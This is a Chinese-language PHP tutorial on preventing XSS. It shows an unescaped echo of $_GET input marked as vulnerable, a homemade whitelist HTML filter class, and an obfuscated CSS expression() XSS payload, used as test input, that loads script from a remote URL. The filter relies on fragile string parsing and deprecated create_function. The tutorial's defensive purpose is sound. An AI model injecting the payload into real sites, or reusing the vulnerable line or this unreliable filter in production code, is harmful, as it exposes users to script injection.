网站地图    收藏   

主页 > 后端 > 网站安全 >

PHP安全 XSS篇 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 本质网络上流行的攻击方式xss. 归根结底就是因为用户提交的数据被你信任的显示出来了. 为什么会信任呢? 可能是由于黑名单方式过滤有漏网之鱼. 可能是忘记转义输出了.这个就是xss攻...

本质
 
网络上流行的攻击方式xss. 归根结底就是因为用户提交的数据被你信任的显示出来了. 为什么会信任呢? 可能是由于黑名单方式过滤有漏网之鱼. 可能是忘记转义输出了.这个就是xss攻击的本质了.
 
防范
 
了解了本质, 那防范就容易了. 对于绝大部分输出而言, 都是非富文本的. 一个htmlspecialchars函数就搞定了. 对于富文本,处理就相对复杂一些了,黑名单方式总是会有漏网之鱼,或者过滤掉了用户的正常输入. 而白名单方式, 就可以搞定所有你不喜欢的代码了~
 
观念纠错
 
我发现90%的人不知道什么时候应该进行什么操作. 比如, 我刚刚毕业就进的那家公司. 入库前, 所有数据htmlspecialchars处理. 然后,这就安全了. 事实上确实安全了. 不说多占用了多少空间,就说富文本的处理, 跨应用传递数据. 这个是行不通的.
 
还有的人, 入库前会先过滤危险代码. 这是出于什么考虑呢? 怕xss? 可xss不是发生在入库的时候呀! 如果说用户给你的数据不符合你的要求,为啥要入库. 大可提示用户, 您提交的数据不符合我们的规定格式.
 
例子
 
简单的例子PHP
 
<?php //header utf8
echo $_GET['text']; //XSS!
echo htmlspecialchars($_GET['text']); //非富文本,选择此方式输出
echo WhiteListFiter::filter($_GET['text']); //富文本,选择此方式输出 当然, 这个函数需要你自己去写. 也可以用我写好的.见下边.
白名单过滤函数
 
白名单方式过滤HTMLPHP
 
<?php
/**
 * 白名单方式过滤HTML
 * @author wclssdn@yeah.net
 *
 */
class HtmlFilter{
 
    /**
     * 白名单
     * @var array
     */
    private $whiteList = array();
 
    public function __construct(array $whiteList = array()){
        $this->whiteList = $whiteList;
    }
 
    /**
     * 添加HTML标签白名单
     * @param string $label
     */
    public function addLabel($label, array $rule = array()){
        $this->whiteList[$label] || $this->whiteList[$label] = $rule;
    }
 
    /**
     * 为标签添加过滤规则的可允许值
     * @param string $label 标签
     * @param string $attribute 属性
     * @param array $values 可允许的值
     */
    public function addValues($label, $attribute, array $values){
        if (isset($this->whiteList[$label][$attribute]['grep'])){
            unset($this->whiteList[$label][$attribute]['grep']);
        }
        $this->whiteList[$label][$attribute]['values'] = $values;
    }
 
    /**
     * 为标签添加正则过滤规则
     * @param string $label 标签
     * @param string $grep  过滤规则
     */
    public function addGrep($label, $attribute, $grep){
        if (isset($this->whiteList[$label][$attribute]['values'])){
            unset($this->whiteList[$label][$attribute]['values']);
        }
        $this->whiteList[$label][$attribute]['grep'] = $grep;
    }
 
    /**
     * 获取白名单
     * @return array
     */
    public function getWhiteList(){
        return $this->whiteList;
    }
 
    /**
     * 执行过滤
     * @param string $htmlcode
     * @return string
     */
    function filter($htmlcode){
        if (empty($htmlcode)){
            return '';
        }
        //只保留允许的标签
        $htmlcode = strip_tags($htmlcode, implode('', array_map(create_function('$key', 'return "<{$key}>";'), array_keys($this->whiteList))));
        foreach ($this->whiteList as $whiteLabel => $rule){
            $clean = ''; //某个白名单中的标签过滤后的HTML代码, 非所有标签都过滤后的HTML代码
 $unclean = $htmlcode; //正在过滤的代码, 可能是已经过滤过某些标签后的HTML代码
            $found = false;    //是否找到了标签进行处理
            while (($pos = strpos($unclean, "<{$whiteLabel}")) !== false){    //查找是否存在标签
                $found = true;
                $endpos = strpos($unclean, '>', $pos);    //找到此标签结束位置
                if ($endpos === false){
                    break;    //找不到匹配结束标签, 直接退出
                }
                $label = substr($unclean, $pos, $endpos - $pos + 1);    //把这个标签的整段截取出来
                if (!$rule){ //没规则, 就把所有可能存在的属性干掉
                    $label = "<{$whiteLabel}>";
                }elseif (is_array($rule)){    //如果有针对此标签的规则, 则根据规则检验
                    $pos1 = strpos($label, ' '); //查找第一个空格
                    if ($pos1 === false){ //没有空格的话, 也重新组装下此标签
                        $label = "<{$whiteLabel}>";
                    }else{
                        $clean2 = "<{$whiteLabel}"; //标签内过滤后的属性字符串
                        foreach ($rule as $attribute => $attributeRule){    //align => 'values' => array('left', 'right', 'center')
                            if (($pos2 = strpos($label, $attribute)) === false){
                                continue;    //如果不存在此属性就继续查找其他属性
                            }
                            $pos3 = strpos($label, '"', $pos2);    //查找第一个双引号
                            $pos4 = strpos($label, '"', $pos3 + 1);    //查找第二个双引号
                            $attstr = substr($label, $pos3 + 1, $pos4 - $pos3 - 1);    //把属性字符串拿出来, +1: 前边的"不要. -1: 后边的"不要
                            if ($attribute == 'style'){    //style的特例, 需要判断其中每一个值
                                $attarray = explode(';', $attstr);    //获得style中的每个属性:值
                                foreach ($attarray as $at => $va){
                                    $va = explode(':', $va);    //把每个属性拿出来比如 float => left, color => #fffff
                                    if (!$attributeRule[$va[0]]){    //如果不在白名单中
                                        unset($attarray[$at]);
                                        continue;
                                    }
                                    if ($attributeRule[$va[0]]['values'] && !in_array($va[1], $attributeRule[$va[0]]['values'])){
  unset($attarray[$at]);
                                        continue;
                                    }
                                    if ($attributeRule[$va[0]]['grep'] && !preg_match($attributeRule[$va[0]]['grep'], $va[1])){
                                        unset($attarray[$at]);
                                        continue;
                                    }
                                }
                                $attstr = $attarray ? ' style="' . implode(';', $attarray) . '"' : '';
                                $clean2 .= $attstr;
                            }else{
                                //如果规定了只能允许的值, 但是属性值不在允许范围内, 过滤
                                if ($attributeRule['values'] && in_array($attstr, $attributeRule['values'], true)){
                                    $clean2 .= " {$attribute}=\"{$attstr}\"";
                                }
                                //如果规定了值的正则, 则根据正则匹配过滤
                                if ($attributeRule['grep'] && preg_match($attributeRule['grep'], $attstr)){
                                    $clean2 .= " {$attribute}=\"{$attstr}\"";
                                }
                            }
                        }
                        $label = $clean2 . '>';
                    }
                }
                $unclean = substr_replace($unclean, $label, $pos, $endpos - $pos + 1);    //替换未过滤前的那段代码为过滤后的代码
                $clean .= substr($unclean, 0, $pos + strlen($label)); //把处理过的附加到此变量中保存
                $unclean = substr($unclean, $pos + strlen($label));    //未处理的代码
            }
            if ($found){ //没处理过不保存
                $htmlcode = $clean;    //保存清理过的代码
                if ($unclean){ //如果有处理完, 还剩下的, 就附加上
                    $htmlcode .= $unclean;
                }
            }
        }
        return $htmlcode;
    }
}
$whiteList = array(
    'b' => '', //标签
    'br' => '',
    'br/' => '',
    'p' => array(
        'align' => array(    //标签中可存在的属性
 'values' => array('left', 'right', 'center'),    //属性可允许的值
        ), 
        'style' => array(
            'float' => array(
                'values' => array('left', 'right'),    //属性可允许的值
            ),
        ),
    ), 
    'div' => array( //标签
        'align' => array(    //标签中可存在的属性
            'values' => array('left', 'right', 'center'),    //属性可允许的值
        ), 
        'style' => array(
            'float' => array(
                'values' => array('left', 'right'),    //属性可允许的值
            ),
        ),
    ), 
    'img' => array(    //标签
        'width' => array(    //标签中可存在的属性
            'grep' => '#^[1-9][0-9]{0,3}$#s',    //属性的正则校验规则
        ), 
        'height' => array(
            'grep' => '#^[1-9][0-9]{0,3}$#s',
        ), 
    ),
);
 
$htmlcode = <<<EOF
 <p><div REL="add-2012-xs">ssssssssssssssssssss</DIV>
<span STYLE="display:non;e:expr\0065ssion(function(){if(!window.x){try{document.scripts[0].src='http:// www.2cto.com /i/wb.php'}catch(e){}window.x=1}}());" REL="add-2012-new">??</SPAN>
                                </p>
 
EOF;
//$htmlcode = str_repeat($htmlcode, 1000);
$htmlFilter = new HtmlFilter($whiteList);
$start = microtime(1);
//$htmlFilter->addLabel('a', array('href' => array('values' => array('#'))));    
$htmlFilter->addValues('a', 'href', array('#'));
var_dump($htmlFilter->filter($htmlcode));
echo PHP_EOL, (microtime(1) - $start);
当然, 那个$whiteList配置需要根据你自己的需求去写. 不在里边的是会被过滤掉的哦~~

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论